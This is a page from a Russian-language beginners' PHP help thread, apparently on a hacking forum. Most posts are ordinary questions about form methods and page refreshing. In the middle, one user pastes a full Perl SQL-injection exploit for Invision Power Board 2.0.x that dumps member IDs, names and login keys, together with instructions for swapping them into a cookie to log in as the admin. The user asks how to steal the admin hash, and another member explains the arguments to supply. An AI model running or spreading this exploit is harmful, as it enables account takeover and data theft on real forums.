[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. Epic wave

    Epic wave Member

    Joined:
    15 Mar 2009
    Messages:
    105
    Likes Received:
    72
    Reputations:
    -1
    от метода зависит если method="post"; то

    $a=$_POST['search'];
     
    3 people like this.
  2. mff

    mff Elder - Старейшина

    Joined:
    12 Mar 2008
    Messages:
    2,074
    Likes Received:
    701
    Reputations:
    227
    А какой писать метод? Я как то post всегда в форме писал ...
     
  3. Epic wave

    Epic wave Member

    Joined:
    15 Mar 2009
    Messages:
    105
    Likes Received:
    72
    Reputations:
    -1
    значит
    $a=$_POST['search'];

    в $a у тебя будет значение search
     
  4. REBUUS

    REBUUS Active Member

    Joined:
    6 Apr 2009
    Messages:
    314
    Likes Received:
    111
    Reputations:
    9
    смотря что и какой размер передаешь

    если в адресе виден то метод post. если не видет то GET
     
    #11924 REBUUS, 30 Sep 2009
    Last edited: 30 Sep 2009
    1 person likes this.
  5. REBUUS

    REBUUS Active Member

    Joined:
    6 Apr 2009
    Messages:
    314
    Likes Received:
    111
    Reputations:
    9

    или если в адресе не видно


    $a=$_GET['search'];

    в $a у тебя будет значение search


    если я правильно понял вопрос :D
     
  6. Epic wave

    Epic wave Member

    Joined:
    15 Mar 2009
    Messages:
    105
    Likes Received:
    72
    Reputations:
    -1

    в $_GET значение ченрез url передается, а $_POST передает данные внутри тела запроса
     
  7. Insane bboy

    Insane bboy New Member

    Joined:
    11 Jul 2009
    Messages:
    52
    Likes Received:
    3
    Reputations:
    0
    вопрос: к примеру скрипт index.php:
    <?php
    include 'conf.php';//файл конфига в котором переменные $a и $b
    function table()//выводим форму с помощью которой мы можем изменить переменные $a и $b в conf.php
    {
    global $a;
    global $b;
    echo <<<HERE
    <form method = "post" >
    <input type ="text"name="aa" SIZE= "3" value="$a"/>
    <input type ="text"name="bb" SIZE= "3" value="$b"/>
    <input type = "submit" name = "save_conf" value=" Save "/>
    </form>
    HERE;
    }
    table();
    if(isset($_POST['save_conf']))
    {
    //тут проверка данных
    //если все нормально меняем введенными данными, значения переменных в conf.php
    unset($_POST['save_conf']);//это наверно лишнее?
    header("Location: index.php");
    }
    ?>
    сообственно вопрос, почему когда я ввел в поле\поля значения, нажал save и страница обновилась, value="$a" value="$b" показывают старые значения, хотя в файле conf.php все измнилось
    старался как можно понятнее обьяснить:) но суть в том чтоб, когда я вношу изменения, обнавлялась страница и я видел эти измения, как это реализовать? а то что то пробую и ничего не получается, вместо header("Location: index.php"); пробывал javascript но все без толку.. :(
     
    #11927 Insane bboy, 30 Sep 2009
    Last edited: 30 Sep 2009
  8. REBUUS

    REBUUS Active Member

    Joined:
    6 Apr 2009
    Messages:
    314
    Likes Received:
    111
    Reputations:
    9
    а форма куда передает данные ?
     
  9. Insane bboy

    Insane bboy New Member

    Joined:
    11 Jul 2009
    Messages:
    52
    Likes Received:
    3
    Reputations:
    0
    этому же скрипту передает, ну то есть index.php
     
  10. Epic wave

    Epic wave Member

    Joined:
    15 Mar 2009
    Messages:
    105
    Likes Received:
    72
    Reputations:
    -1
    в форме что-то не так. по-моему action="*.php" долден быть
     
  11. Insane bboy

    Insane bboy New Member

    Joined:
    11 Jul 2009
    Messages:
    52
    Likes Received:
    3
    Reputations:
    0
    ну щас попробую. но вроде и так все работает, просто не обновляет страницу:(
     
  12. Epic wave

    Epic wave Member

    Joined:
    15 Mar 2009
    Messages:
    105
    Likes Received:
    72
    Reputations:
    -1
    в action="здесь php на который данные пересылаются"
     
  13. Insane bboy

    Insane bboy New Member

    Joined:
    11 Jul 2009
    Messages:
    52
    Likes Received:
    3
    Reputations:
    0
    You don't have permission to access /*.php on this server.
    ога попробывал:) теперь нифига не пашет:)


    Да и вообще чего вы к форме прецепились. она пашет, все там верно, про action я знаю..
    у меня там совсем другая трабла!!!вообще не с формой связана
     
    #11933 Insane bboy, 30 Sep 2009
    Last edited: 30 Sep 2009
  14. Epic wave

    Epic wave Member

    Joined:
    15 Mar 2009
    Messages:
    105
    Likes Received:
    72
    Reputations:
    -1
    блин, ну вместо звезды твой файл
     
  15. Insane bboy

    Insane bboy New Member

    Joined:
    11 Jul 2009
    Messages:
    52
    Likes Received:
    3
    Reputations:
    0
    блин да пашет форма, значение передается скрипту index.php
     
  16. b3

    b3 Banned

    Joined:
    5 Dec 2004
    Messages:
    2,174
    Likes Received:
    1,157
    Reputations:
    202
    Выложи весь код, иначе так гадать будем до нового года
     
  17. wwa76

    wwa76 New Member

    Joined:
    11 Mar 2009
    Messages:
    2
    Likes Received:
    2
    Reputations:
    0
    Помогите пожалуйста разобраться вот с этим сплоитом:


    PHP:
    [QUOTE]#!/usr/bin/perl
    use IO::Socket;

                      
    #    #        #    #                                                                                                                                                                                                                                                                                                                                    
                      #   #          #   #                                                                                                                                                                                                                                                                                                                                    
                     #    #          #    #                                                                                                                                                                                                                                                                                                                                   
                     #   ##   ####   ##   #                                                                                                                                                                                                                                                                                                                                   
                    ##   ##  ######  ##   ##                                                                                                                                                                                                                                                                                                                                  
                    ##   ##  ######  ##   ##                                                                                                                                                                                                                                                                                                                                  
                    ##   ##   ####   ##   ##                                                                                                                                                                                                                                                                                                                                  
                    ###   ############   ###                                                                                                                                                                                                                                                                                                                                  
                    ########################                                                                                                                                                                                                                                                                                                                                  
                         ##############                                                                                                                                                                                                                                                                                                                                       
                  ######## ########## #######                                                                                                                                                                                                                                                                                                                                 
                 ###   ##  ##########  ##   ###                                                                                                                                                                                                                                                                                                                               
                 ###   ##  ##########  ##   ###                                                                                                                                                                                                                                                                                                                               
                  ###   #  ##########  #   ###                                                                                                                                                                                                                                                                                                                                
                  ###   ##  ########  ##   ###                                                                                                                                                                                                                                                                                                                                
                   ##    #   ######   #    ##                                                                                                                                                                                                                                                                                                                                 
                    ##   #    ####   #    ##                                                                                                                                                                                                                                                                                                                                  
                      ##                 ##           

    ## Invision Power Board v2.0.0 - 2.0.2 sql injection exploit
    ## by RusH security team (www.rst.void.ru)
    ## coded by 1dt.w0lf
    ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    ## example:
    ##
    ## r57ipb.pl 127.0.0.1 /IPB202/ 2 1 3edb1eaeea640d297ee3b1f78b5679b3
    ## ------------------------------------------------------------------------------------------------
    ## [>] SERVER: 127.0.0.1
    ## [>]    DIR: /IPB202/
    ## [>]  FORUM: 2
    ## [>]  TOPIC: 1
    ## [>]    SID: 3edb1eaeea640d297ee3b1f78b5679b3
    ## [>] PREFIX:
    ## [>]     ID:
    ## ------------------------------------------------------------------------------------------------
    ## 
    ## [~] PREPARE TO CONNECT...
    ## [+] CONNECTED
    ## [~] SENDING QUERY...
    ## [+] DONE!
    ## 
    ## PREFIX: ibf_
    ##
    ## r57ipb.pl 127.0.0.1 /IPB202/ 2 1 3edb1eaeea640d297ee3b1f78b5679b3 ibf_
    ## ------------------------------------------------------------------------------------------------
    ## [>] SERVER: 127.0.0.1
    ## [>]    DIR: /IPB202/
    ## [>]  FORUM: 2
    ## [>]  TOPIC: 1
    ## [>]    SID: 3edb1eaeea640d297ee3b1f78b5679b3
    ## [>] PREFIX: ibf_
    ## [>]     ID:
    ## ------------------------------------------------------------------------------------------------
    ## 
    ## [~] PREPARE TO CONNECT...
    ## [+] CONNECTED
    ## [~] SENDING QUERY...
    ## [+] DONE!
    ## 
    ## --[ REPORT ]------------------------------------------------------------------------------------
    ## MEMBER_ID: [1] NAME: [admin] PASS_HASH: [73dea61281aa9b08ed31b4ae2bb9954e]
    ## ------------------------------------------------------------------------------------------------
    ## Now you need edit cookie and insert new pass_hash and member_id values.
    ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    ## Пару слов о возвращаемом эксплоитом результате:
    ## Значение pass_hash это не зашифрованный пароль юзера!!! а одноименное значение из кукиса с
    ## помощью которого можно войти на форум под любым юзером без ввода пароля. 
    ## member_id это также одноименное значение из кукиса.
    ## Поэтому не стоит пытаться расшифровать pass_hash =) Просто зарегистрируйтесь на форуме и измените
    ## pass_hash и member_id в вашем cookie на одно из значений которые выдаст сплоит.
    ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


    if (@ARGV 5)
    {
    print 
    "-------------------------------------------------------------------------\r\n";
    print 
    "       Invision Power Board v2.0.0 - 2.0.2 sql injection exploit\r\n";
    print 
    "-------------------------------------------------------------------------\r\n";
    print 
    "usage:\r\n";
    print 
    "r57ipb.pl SERVER /DIR/ FORUM_NUM TOPIC_NUM SID [TABLE_PREFIX] [USER_ID]\r\n\r\n";
    print 
    "SERVER         - server where IPB installed\r\n";
    print 
    "/DIR/          - IPB directory or / for no directory\r\n";
    print 
    "FORUM_NUM      - number of existing forum\r\n";
    print 
    "TOPIC_NUM      - number of existing topic\r\n";
    print 
    "SID            - your session id\r\n";
    print 
    "[TABLE_PREFIX] - table prefix in database\r\n";
    print 
    "[USER_ID]      - user id for exploiting\r\n\r\n"
    print 
    "e.g. r57ipb.pl 127.0.0.1 /IPB/ 2 1 4496b6d35c1bc0662d721c207f81784e ibf_\r\n";
    print 
    "-------------------------------------------------------------------------\r\n";
    exit();
    }

    if (@
    ARGV 6) { $get_table 1; }

    $server $ARGV[0];
    $dir    $ARGV[1];
    $fnum   $ARGV[2];
    $tnum   $ARGV[3];
    $sid    $ARGV[4];
    $prefix $ARGV[5];
    $id     $ARGV[6];

    print 
    "------------------------------------------------------------------------------------------------\r\n";
    print 
    "[>] SERVER: $server\r\n";
    print 
    "[>]    DIR: $dir\r\n";
    print 
    "[>]  FORUM: $fnum\r\n";
    print 
    "[>]  TOPIC: $tnum\r\n";
    print 
    "[>]    SID: $sid\r\n";
    print 
    "[>] PREFIX: $prefix\r\n";
    print 
    "[>]     ID: $id\r\n";
    print 
    "------------------------------------------------------------------------------------------------\r\n\r\n";

    $server =~ s/(http:\/\/)//eg;

    $path  $dir;
    $path .= "index.php?s=";
    $path .= $sid;
    $path .= "&act=Post&CODE=02&f=";
    $path .= $fnum;
    $path .= "&t=";
    $path .= $tnum;
    if (
    $get_table == 1
     {
     
    $path .= "&qpid=r57"
     
    }
    else
     {
    $path .= "&qpid=666666666)%20union%20select%201,1,1,1,1,1,1,1,1,1,CONCAT(id,char(58),name,char(58),member_login_key),1,1,1,1,1,1,1,1,1%20from%20";
    $path .= $prefix;
    $path .= "members";
    $path .= ($id)?("%20WHERE%20id=$id%20"):("%20");
    $path .= "/*";
     }
    print 
    "[~] PREPARE TO CONNECT...\r\n";

    $socket IO::Socket::INET->newProto => "tcp"PeerAddr => "$server"PeerPort => "80") || die "[-] CONNECTION FAILED";

    print 
    "[+] CONNECTED\r\n";
    print 
    "[~] SENDING QUERY...\r\n";
    print 
    $socket "GET $path HTTP/1.1\r\n";
    print 
    $socket "Host: $server\r\n";                                                                                                                                                          
    print 
    $socket "Accept: */*\r\n";
    print 
    $socket "Connection: close\r\n\r\n";
    print 
    "[+] DONE!\r\n\r\n";

    $suc =0;

    if (
    $get_table == 1)
     {
     while (
    $answer = <$socket>)
      {
      if (
    $answer =~ /(mySQL query error: )(.*)( FROM )(.*)(posts)/){ print "PREFIX: $4\r\n"$suc 1; }
      }
     if (!
    $suc) { print "Exploit failed\r\n"; }
     exit();
     }

    print 
    "--[ REPORT ]------------------------------------------------------------------------------------\r\n";
    while (
    $answer = <$socket>)
    {
     if (
    $answer =~ /^([^:]*):([^:]*):([a-z,0-9]{32})$/) { print "MEMBER_ID: [$1] NAME: [$2] PASS_HASH: [$3]\r\n"$suc 1; }
    }
    print 
    "------------------------------------------------------------------------------------------------\r\n";
    if (
    $suc == 1) { print "Now you need edit cookie and insert new pass_hash and member_id values.\r\n"; exit(); }
    else { print 
    "Exploit failed\r\n"; }



    # milw0rm.com [2004-11-22][/QUOTE]

    какие именно строчки в нем надо редактировать и что в них писать для того что бы стянуть хеш админа?
    если заюзать этот вот что получается...:

    C:\>Perl\sploits\3.pl [адрес форума]/1 1
    -------------------------------------------------------------------------
    Invision Power Board v2.0.0 - 2.0.2 sql injection exploit
    -------------------------------------------------------------------------
    usage:
    r57ipb.pl SERVER /DIR/ FORUM_NUM TOPIC_NUM SID [TABLE_PREFIX] [USER_ID]

    SERVER - server where IPB installed
    /DIR/ - IPB directory or / for no directory
    FORUM_NUM - number of existing forum
    TOPIC_NUM - number of existing topic
    SID - your session id
    [TABLE_PREFIX] - table prefix in database
    [USER_ID] - user id for exploiting

    e.g. r57ipb.pl 127.0.0.1 /IPB/ 2 1 4496b6d35c1bc0662d721c207f81784e ibf_
     
    #11937 wwa76, 30 Sep 2009
    Last edited: 30 Sep 2009
  18. Gray_Wolf

    Gray_Wolf Active Member

    Joined:
    7 Mar 2009
    Messages:
    377
    Likes Received:
    135
    Reputations:
    10
    Мда, вам же скрипт сказал что надо писать...

    C:\>Perl\sploits\3.pl [адрес форума] / [*] [**] [ваш SID из куков] [префикс таблиц, скорее всего ibf_] [ID юзера, чей хеш надо узнать]

    *,** - хз что это за поля, почитайте описание сплойта.
     
  19. .::BARS::.

    .::BARS::. Elder - Старейшина

    Joined:
    13 Oct 2007
    Messages:
    379
    Likes Received:
    45
    Reputations:
    10
    Insane bboy

    кеш почисти и проверь....
    если изменились данные на новые... то дело в кешировании...
     
  20. Gef3Dx

    Gef3Dx New Member

    Joined:
    27 Sep 2009
    Messages:
    28
    Likes Received:
    1
    Reputations:
    -5
    Всем привет!

    Хочу научиться писать парсер!
    1. С чего начать?
    2. Что для этого нужно?
     
Thread Status:
Not open for further replies.